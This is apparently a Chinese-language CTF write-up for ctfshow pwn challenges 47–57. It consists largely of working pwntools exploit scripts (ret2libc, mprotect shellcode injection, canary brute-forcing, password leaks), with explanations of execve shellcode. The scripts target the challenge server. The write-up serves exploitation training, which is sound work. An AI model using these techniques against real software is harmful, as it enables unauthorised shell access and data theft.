# pwn47(ret2libc)
# 题目:
ez ret2libc
32 位程序保护只有 Partial RELRO
int ctfshow() | |
{ | |
char s[152]; // [esp+Ch] [ebp-9Ch] BYREF | |
puts("Start your show time: "); | |
gets(s); | |
return puts(s); | |
} |
有 gets 函数,然后也执行了 puts,可以进行泄露得到 libc 基址
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
e=ELF('./pwn47') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28252) | |
puts_got=e.got["puts"] | |
puts_plt=e.plt["puts"] | |
main_add=e.sym["main"] | |
#system=e.sym["system"] | |
#rdi_ret=0x00000000004007f3 | |
payload=b"a"*(0x9c+4)+p32(puts_plt)+p32(main_add)+p32(puts_got) | |
p.recvuntil("Start your show time: ") | |
#puts=u64(p.recv(6).ljust(8,b'\x00')) | |
p.sendline(payload) | |
puts=u32(p.recvuntil('\xf7')[-4:]) | |
libc=LibcSearcher("puts",puts) | |
libc_base=puts-libc.dump("puts") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
p.recvuntil("Start your show time: ") | |
payload2=b"a"*(0x9c+4)+p32(system)+p32(main_add)+p32(binsh) | |
p.send(payload2) | |
p.interactive() |
# pwn48 (ret2libc)
# 题目:
没有write了,试试用puts吧,更简单了呢
32 位程序,只开启了 partial RELRO
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
init(&argc); | |
logo(); | |
puts("O.o?"); | |
ctfshow(); | |
return 0; | |
} | |
ssize_t ctfshow() | |
{ | |
char buf[103]; // [esp+Dh] [ebp-6Bh] BYREF | |
return read(0, buf, 0xC8u); | |
} |
和上一题类似,泄露得到 libc 基址
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
e=ELF('./pwn48') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28262) | |
puts_got=e.got["puts"] | |
puts_plt=e.plt["puts"] | |
main_add=e.sym["main"] | |
#system=e.sym["system"] | |
#rdi_ret=0x00000000004007f3 | |
payload=b"a"*(0x6b+4)+p32(puts_plt)+p32(main_add)+p32(puts_got) | |
p.recvuntil("O.o?") | |
#puts=u64(p.recv(6).ljust(8,b'\x00')) | |
p.sendline(payload) | |
puts=u32(p.recvuntil('\xf7')[-4:]) | |
libc=LibcSearcher("puts",puts) | |
libc_base=puts-libc.dump("puts") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
p.recvuntil("O.o?") | |
payload2=b"a"*(0x6b+4)+p32(system)+p32(main_add)+p32(binsh) | |
p.send(payload2) | |
p.interactive() |
# pwn49 (mprotect 函数)
有 mprotect
函数可以改变内存的读写权限
mprotect (起始地址,修改内存长度,修改的权限(修改为 7)),起始地址必须包含整个页(4k,起始地址末尾为 000)
静态编译一般 ida 旁边会有许多函数
# 题目
静态编译?或许你可以找找mprotect函数
32 位程序
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
【这里起始没有开启 canary,checksec 旧版本会认为有 __stack_chk_fali_loacl
函数就开启了 canary
】
因此这里首先利用 mprotect 修改执行权限(修改范围要包含整个页),然后通过 read 函数来将 shellcode 写入到修改权限的地址
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./pwn43') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28138) | |
bbs=0x804B060 | |
read=0x806BEE0 | |
mprotect=0x806CDD0 | |
traget_add=0x80DA000 | |
size=0x1000 | |
chmod=0x7 | |
main=0x8048A19 | |
pop_esi_edi_ebx_ret=0x08069cbd | |
sh=0x80487BA | |
p.recvuntil("Use mprotect func do sth! ") | |
p.recvuntil(" * ************************************* ") | |
shellcode=asm(shellcraft.sh()) | |
payload2=b"a"*(0x12+4)+p32(mprotect)+p32(pop_esi_edi_ebx_ret)+p32(traget_add)+p32(size)+p32(chmod)+p32(main) | |
p.sendline(payload2) | |
p.recvuntil("Use mprotect func do sth! ") | |
p.recvuntil(" * ************************************* ") | |
payload2=b"a"*(0x12+4)+p32(read)+p32(traget_add)+p32(0)+p32(traget_add)+p32(0x1000) | |
p.sendline(payload2) | |
p.sendline(shellcode) | |
p.recv() | |
p.interactive() |
【2025 更新】exp2 (不使用寄存器传参):
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='i386', log_level='debug') | |
p=process("./pwn49") | |
e=ELF("./pwn49") | |
#p=remote("pwn.challenge.ctf.show", 28281) | |
#libc=ELF ("/lib/i386-linux-gnu/libc.so.6")# 用 ldd 查找具体的本地环境 libc | |
main=e.sym["main"] | |
print("main:"+hex(main)) | |
puts=e.sym["puts"] | |
mprotect=e.sym["mprotect"] | |
read=e.sym["read"] | |
bss=0x80DB358 | |
start=0x80DB000 | |
gets=0x8048420 | |
payload1=b"b"*(0x12+4)+p32(mprotect)+p32(main)+p32(start)+p32(0x1000)+p32(0x7)#mprotect (start_address【开始地址必须以 000 结尾,整页】 , length , chmod【为 7 时有所有权限】) | |
p.recvuntil("*** \n") | |
p.recvuntil("*** \n") | |
p.sendline(payload1) | |
p.recvuntil("*** \n") | |
p.recvuntil("*** \n") | |
payload2=b"b"*(0x12+4)+p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x40)#=>bss to execute ,shellcode【shellcode 写入 bss 段中,然后跳转执行】 | |
shellcode=asm(shellcraft.sh()) | |
p.sendline(payload2) | |
p.sendline(shellcode) | |
p.interactive() |
# pwn50(ret2libc,也可以用 mprotect
)
# 题目
题目描述: 好像哪里不一样了 远程libc环境 Ubuntu 18
源码:
__int64 ctfshow() | |
{ | |
char v1[32]; // [rsp+0h] [rbp-20h] BYREF | |
puts("Hello CTFshow"); | |
return gets(v1); | |
} |
这里可以进行溢出,直接利用 ret2libc
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./pwn50') | |
e=ELF('./pwn50') | |
#libc=ELF("./64libc.so.6") | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28117) | |
puts_got=e.got["puts"] | |
puts_plt=e.plt["puts"] | |
main_add=e.sym["main"] | |
#system=e.sym["system"] | |
rdi_ret=0x00000000004007e3 | |
ret=0x00000000004004fe | |
#payload=b"a"*(0x20+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_add) | |
payload=b"a"*(0x20+8)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_add) | |
p.recvuntil("Hello CTFshow") | |
p.sendline(payload) | |
p.recvline() | |
puts=u64(p.recv(6).ljust(8,b'\x00')) | |
log.info("puts:"+hex(puts)) | |
libc=LibcSearcher("puts",puts) | |
libc_base=puts-libc.dump("puts") | |
log.info("libc_base:"+hex(libc_base)) | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
#log.info("libc_base:"+hex(libc_base)) | |
log.info("system:"+hex(system)) | |
log.info("binsh:"+hex(binsh)) | |
p.recvuntil("Hello CTFshow") | |
payload2=b"a"*(0x20+8)+p64(rdi_ret)+p64(binsh)+p64(system) | |
p.send(payload2) | |
p.interactive() |
# pwn51(c++ 程序)
# 题目:
题目内容: I‘m IronMan
32 位程序,保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码为 c++ 编写的,有一大堆模板类
int sub_8049059()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
char v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804D0A0, &unk_804A350);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, s);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v10, &unk_804D0B8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11, v11, v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
看的我很麻,根据 wp 上,功能就是将字母 I
转变为 IronMan
,然后再复制到 s
中
有 system ( cat /ctfshow_flag
) 函数
这里我们就能够通过输入一个字节的 I 变成七个字节的 IronMan
这样就算限制了输入的大小 (0x20) 个字节,也仍然可以溢出
我们想要溢出(108+4 的字节然后再返回到 system
+ 返回地址 + 参数)总共 120 字节,后面的 system 这些无法改变 (12 字节),只好再前面将 I 转化成 IronMan(112/7=16), 前面输入 16 个 I 即可,这些加起来总共 28 字节,而我们可以输入 32 字节(0x20)所以可以做到溢出
【2025 新增:一开始没注意有 cat flag
想给 bss 段写入 /bin/sh
,但最后发现 payload=b"I"*(16)+p32(read)+p32(main)+p32(0)+p32(bss)+p32(20)
一共 36 字节超出了 32(0x20)字节,行不通】
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./pwn51') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28212) | |
system=0x804902E | |
system_flag=0x804902E | |
pop_edi=0x0804aeb5 | |
pop_ebp=0x080492e4 | |
catflag=0x804A331 | |
#gdb.attach(p,"b*0804925A") | |
p.recvuntil("Who are you?\n") | |
#payload1=b"I"*(16)+p32(system_flag) | |
payload1=b"I"*(16)+p32(pop_ebp)+p32(catflag)+p32(system) | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn52 (open 函数 + 判断数值相等)
# 题目
题目描述: 迎面走来的flag让我如此蠢蠢欲动
32 位程序,保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main 函数:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
setvbuf(stdout, 0, 2, 0); | |
logo(&argc); | |
puts("What do you want?"); | |
ctfshow(); | |
return 0; | |
} |
ctfshow 函数:
int ctfshow() | |
{ | |
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF | |
gets(s); | |
return puts(s); | |
} |
flag 函数:
char *__cdecl flag(int a1, int a2) | |
{ | |
char *result; // eax | |
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF | |
FILE *stream; // [esp+4Ch] [ebp-Ch] | |
stream = fopen("/ctfshow_flag", "r"); | |
if ( !stream ) | |
{ | |
puts("/ctfshow_flag: No such file or directory."); | |
exit(0); | |
} | |
result = fgets(s, 64, stream); | |
if ( a1 == 876 && a2 == 877 ) | |
result = (char *)printf(s); | |
return result; | |
} |
可以进行溢出,有个 open('/ctfshow_flag')
但是需要进行绕过使 a1=876&&a2=877
,a1 和 a2 都是 flag 的参数,直接溢出返回到 flag 函数然后附上参数即可
注意一点如果最后返回的 flag 接收了(recv ()),那么就会导致是字节形式,无法完整看出来 flag,可以利用 str 转化类型
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./pwn51') | |
#e=ELF('./') | |
p=remote("pwn.challenge.ctf.show",28299) | |
flag=0x8048586 | |
p.recvuntil("What do you want?\n") | |
payload1=b"I"*(0x6c+4)+p32(flag)+p32(0)+p32(876)+p32(877)#+p32(system) | |
p.sendline(payload1) | |
a=str(p.recv(0xa3)) | |
print("flag:"+a) | |
p.interactive() |
# pwn53
# 题目
题目描述: 再多一眼看一眼就会爆炸
32 位程序:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
setvbuf(stdout, 0, 2, 0); | |
logo(&argc); | |
canary(); | |
ctfshow(); | |
return 0; | |
} |
canary:
int canary() | |
{ | |
FILE *stream; // [esp+Ch] [ebp-Ch] | |
stream = fopen("/canary.txt", "r"); | |
if ( !stream ) | |
{ | |
puts("/canary.txt: No such file or directory."); | |
exit(0); | |
} | |
fread(&global_canary, 1u, 4u, stream); | |
return fclose(stream); | |
} |
ctfshow
:
int ctfshow() | |
{ | |
size_t nbytes; // [esp+4h] [ebp-54h] BYREF | |
char v2[32]; // [esp+8h] [ebp-50h] BYREF | |
char buf[32]; // [esp+28h] [ebp-30h] BYREF | |
int s1; // [esp+48h] [ebp-10h] BYREF | |
int v5; // [esp+4Ch] [ebp-Ch] | |
v5 = 0; | |
s1 = global_canary; | |
printf("How many bytes do you want to write to the buffer?\n>"); | |
while ( v5 <= 31 ) | |
{ | |
read(0, &v2[v5], 1u); | |
if ( v2[v5] == 10 ) | |
break; | |
++v5; | |
} | |
__isoc99_sscanf(v2, "%d", &nbytes); | |
printf("$ "); | |
read(0, buf, nbytes); | |
if ( memcmp(&s1, &global_canary, 4u) ) | |
{ | |
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!"); | |
exit(-1); | |
} | |
puts("Where is the flag?"); | |
return fflush(stdout); | |
} |
flag:
int flag() | |
{ | |
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF | |
FILE *stream; // [esp+4Ch] [ebp-Ch] | |
stream = fopen("/ctfshow_flag", "r"); | |
if ( !stream ) | |
{ | |
puts("/ctfshow_flag: No such file or directory."); | |
exit(0); | |
} | |
fgets(s, 64, stream); | |
puts(s); | |
return fflush(stdout); | |
} |
这道题有输出 flag 的函数,所以我们只要溢出返回到这里就好了,然后这道题自己构造了一个 canary 文件,然后将这个复制给 s1 存入栈中,必须绕过这个比较才能得到 flag
,而里面是
因为这个 canary 文件是固定的那么我们可以通过爆破来得出来 canary 的值
4 个字节的 canary,用的是 memcmp 函数比较,不能用 \x00
截断,那么就构造循环爆破出 canary
# 这里的爆破注意:
尽管是比较 4 个字节,但是当我们只输入一个字节时,没有其他字节可以比较,因此我们可以通过这种方式来爆破第一个字节,第一个字节匹配后没有其他字节可以比较时也会认为是正确的,也就不会退出程序,但是这种我们无法连续输入字符溢出到 ret,因为这样会有其他字节让 memcmp
来进行比较判断,因此我们只能逐个爆破,得到一个正确字节后再进行下一个字节的判断
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
#context(os='linux', arch='i386', log_level='debug') | |
canary=b'' | |
for i in range(4): | |
for j in range(0x1000): | |
p=remote("pwn.challenge.ctf.show",28186) | |
flag=0x08048696 | |
p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') | |
p.recv() | |
payload1=b"I"*(0x20)+canary+p8(j)#+b"a"*16+p32(flag)#+p32(0)+p32(876)+p32(877)#+p32(system) | |
p.send(payload1) | |
a=p.recv() | |
if b'Canary Value Incorrect!' not in a: #不输出这个字符串代表该字符匹配成功 | |
canary+=p8(j) #将匹配字节加入到后面(canary j 的顺序) | |
print(canary) | |
break | |
else: | |
print("gg") | |
p.close() | |
p=remote("pwn.challenge.ctf.show",28186) | |
flag=0x08048696 | |
p.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') | |
p.recv() | |
print(canary) | |
payload1=b"I"*(0x20)+canary+b"a"*16+p32(flag) | |
p.send(payload1) | |
p.recv() | |
p.interactive() |
# pwn54
# 题目
题目描述: 再近一点靠近点快被融化
32 位程序:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
char s1[64]; // [esp+0h] [ebp-1A0h] BYREF | |
char v5[256]; // [esp+40h] [ebp-160h] BYREF | |
char s[64]; // [esp+140h] [ebp-60h] BYREF | |
FILE *stream; // [esp+180h] [ebp-20h] | |
char *v8; // [esp+184h] [ebp-1Ch] | |
int *v9; // [esp+194h] [ebp-Ch] | |
v9 = &argc; | |
setvbuf(stdout, 0, 2, 0); | |
memset(s, 0, sizeof(s)); | |
memset(v5, 0, sizeof(v5)); | |
memset(s1, 0, sizeof(s1)); | |
puts("==========CTFshow-LOGIN=========="); | |
puts("Input your Username:"); | |
fgets(v5, 256, stdin); | |
v8 = strchr(v5, 10); | |
if ( v8 ) | |
*v8 = 0; | |
strcat(v5, ",\nInput your Password."); | |
stream = fopen("/password.txt", "r"); | |
if ( !stream ) | |
{ | |
puts("/password.txt: No such file or directory."); | |
exit(0); | |
} | |
fgets(s, 64, stream); | |
printf("Welcome "); | |
puts(v5); | |
fgets(s1, 64, stdin); | |
v5[0] = 0; | |
if ( !strcmp(s1, s) ) | |
{ | |
puts("Welcome! Here's what you want:"); | |
flag(); | |
} | |
else | |
{ | |
puts("You has been banned!"); | |
} | |
return 0; | |
} |
这里有个 flag,利用 s1 和 s 比较相等就能得到~~(也可以利用 \x00
截断)~~ ,s 是 password,而 s1 是我们输入的 利用 ,\x00
绕过就能得到
可以发现
读入的 password 也被读入栈上,而我们输入 name 的大小 256 刚好到达 password 的位置,这样以来可以覆盖末尾的空字符时 puts 函数将 password 一起输出
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./pwn51') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28227) | |
p.recvuntil("Input your Username:\n") | |
p.sendline(b"a"*255+b"b") | |
p.recvuntil(b"aab") | |
password=p.recv(64) | |
print(str(password)) | |
payload=password | |
p.sendline(payload) | |
p.recv() | |
p.interactive() |
没有按预期直接获得 flag,但是得到了 password
这里要注意用户名等于 256 时会对 pwssword 有影响,所以得到密码后,再次连接输入小于 256 长度的 name 即可
【这里可能是因为被追加的 input password 给影响了 s 的栈内值,从 /password.txt 文件中读取密码时,你正在向一个已经被部分污染的 s 缓冲区写入。但是,由于 fgets 只会覆盖它读取的内容长度,所以不会完全清除 s 中的所有污染内容,除非从文件中读取的字符数大于或等于覆盖的字符数。】
from pwn import * | |
#from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=process('./pwn54') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
#p=remote("pwn.challenge.ctf.show",28227) | |
p.recvuntil("Input your Username:\n") | |
p.send(b"a"*255+b"b") | |
p.recv(264) | |
password=p.recv() | |
print("password:"+str(password)) | |
p.close() | |
p=remote("pwn.challenge.ctf.show",28227) | |
p.recvuntil("Input your Username:\n") | |
p.sendline("a") | |
p.recvuntil("a") | |
payload=password | |
p.sendline(payload) | |
p.recv() | |
p.interactive() |
# pwn55
# 题目:
题目描述: 你是我的谁,我的我是你的谁
32 位程序:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
从图里可以清晰的看出来有栈溢出,和 flag 后门,不过需要让 flag1
和 flag2
以及 a1
满足条件,因此要逐个执行
32 位程序的函数调用顺序是:函数本身,返回地址,参数
payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0)+p32(0xbdbdbdbd) |
这里 flag_func1 函数,返回地址位 flag_func2, 没有参数;flag_func2 的返回地址为 flag,参数为 0xacacacac ,flag 的返回地址为 0xacacacac,参数为 0xbdbdbdbd ,这里没有成功【gpt:所以,0xacacacac 在这里有双重角色:它首先作为 flag_func2 的参数,然后它作为 flag 函数的返回地址。但这是因为你的 payload 的特定结构决定的】
后续我的理解: 这里的 flag 是作为 flag_func2 的返回地址了,并不是作为函数本身所以没给他返回地址(但是有参数?)【2025 新增解释: 0xacacacac
是也作为了 flag 的返回地址,上面 payload 下一个是 p32(0)
这会被当作参数就不对,参数必须是 p32(0xbdbdbdbd)
】
而:
payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0xbdbdbdbd) |
就可以,不知道为什么没有 flag 的返回地址
- 【2025 新增】:
- 这里的 flag_func1 的返回地址是 flag_func2,其没有参数
- 这里的 flag_func2 的返回地址是 flag,参数为
0xacacacac
- flag 的返回地址就是
0xacacacac
(也作为 flag_func2 的参数),flag 的参数为 0xbdbdbdbd
改用寄存器传参:
先函数,再寄存器,再参数
payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(flag_func2)+p32(rbx_ret)+p32(0xacacacac)+p32(flag)+p32(rbx_ret)+p32(0xbdbdbdbd) |
exp:
from pwn import * | |
#from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=process('./pwn54') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28230) | |
rbx_ret=0x0804859b | |
ret=0x080483aa | |
flag_func1=0x8048586 | |
flag_func2=0x804859D | |
flag=0x08048606 | |
p.recvuntil("Input your flag: ") | |
#payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0)+p32(0xacacacac)+p32(0xbdbdbdbd) | |
#payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(rbx_ret)+p32(0xacacacac)+p32(flag_func2)+p32(rbx_ret)+p32(0xbdbdbdbd)+p32(flag)#+p32(0)#+p32(0xacacacac)+p32(0xbdbdbdbd) | |
payload1=b"a"*(0x2c+4)+p32(ret)+p32(flag_func1)+p32(flag_func2)+p32(rbx_ret)+p32(0xacacacac)+p32(flag)+p32(rbx_ret)+p32(0xbdbdbdbd)#+p32(flag) | |
#payload1=b"a"*(0x2c+4)+p32(flag_func1)+p32(flag_func2)+p32(flag)+p32(0xacacacac)+p32(0xbdbdbdbd) | |
p.sendline(payload1) | |
p.recv() | |
p.interactive() |
# pwn56
# 题目:
题目内容:
题目描述: 先了解一下简单的32位shellcode吧
.text:08048060
.text:08048060 public start
.text:08048060 start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push 68h ; 'h'
.text:08048062 push 732F2F2Fh
.text:08048067 push 6E69622Fh
.text:0804806C mov ebx, esp ; file
.text:0804806E xor ecx, ecx ; argv
.text:08048070 xor edx, edx ; envp
.text:08048072 push 0Bh
.text:08048074 pop eax
.text:08048075 int 80h ; LINUX - sys_execve
.text:08048075 start endp
.text:08048075
.text:08048075 _text ends
.text:08048075
对应伪代码:
void __noreturn start() | |
{ | |
int v0; // eax | |
char v1[12]; // [esp-Ch] [ebp-Ch] BYREF | |
strcpy(v1, "/bin///sh"); | |
v0 = sys_execve(v1, 0, 0); | |
} |
这里发现是通过系统调用来 getshell
,32 位系统调用,0xb (11) 号的系统调用是 execve
#define __NR_execve 11 |
push 68h ; #0x68("h")
push 732F2F2Fh# 0x73("s") 0x2F("/") 0x2F("/") 0x2F("/")
push 6E69622Fh# 0x6E("n") 0x69("i") 0x62("b") 0x2F("/")
mov ebx, esp ; file # 将栈顶的“/bin/sh”放入ebx
xor ecx, ecx ; argv #ecx清零
xor edx, edx ; envp #edx清零
push 0Bh
pop eax
int 80h ; LINUX - sys_execve
这里最后执行 execve("/bin/sh",0,0)
32 位传参系统调用号放入 eax,参数分别放入 ebx,ecx,edx
所以这个程序执行直接就 getshell 了
# pwn57
# 题目:
题目描述: 先了解一下简单的64位shellcode吧
0000000000400080 ; Attributes: noreturn
.text:0000000000400080
.text:0000000000400080 public _start
.text:0000000000400080 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400080 push rax
.text:0000000000400081 xor rdx, rdx
.text:0000000000400084 xor rsi, rsi
.text:0000000000400087 mov rbx, 68732F2F6E69622Fh
.text:0000000000400091 push rbx
.text:0000000000400092 push rsp
.text:0000000000400093 pop rdi
.text:0000000000400094 mov al, 3Bh ; ';'
.text:0000000000400096 syscall ; LINUX -
.text:0000000000400096 _start endp
.text:0000000000400096
.text:0000000000400096 _text ends
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, 68732F2F6E69622Fh #/bin//sh
push rbx #将“/bin/sh”y,这里push将rsp地址的值为'/bin/sh'
push rsp #rsp-8
pop rdi #将栈顶的指向的地址内的"/bin/sh"放入rdi
mov al, 3Bh ; ';' #系统调用号59放入rax(al)
syscall ; LINUX -
系统调用 0x3B (59)
#define __NR_execve 59
64 位传参方式:将系统调用号存入 rax 寄存器中,然后从左到右依次将参数传入 rdi、rsi、rdx 寄存器中
这里直接调用了 execve("/bin/sh",0,0)
,执行程序即可 getshell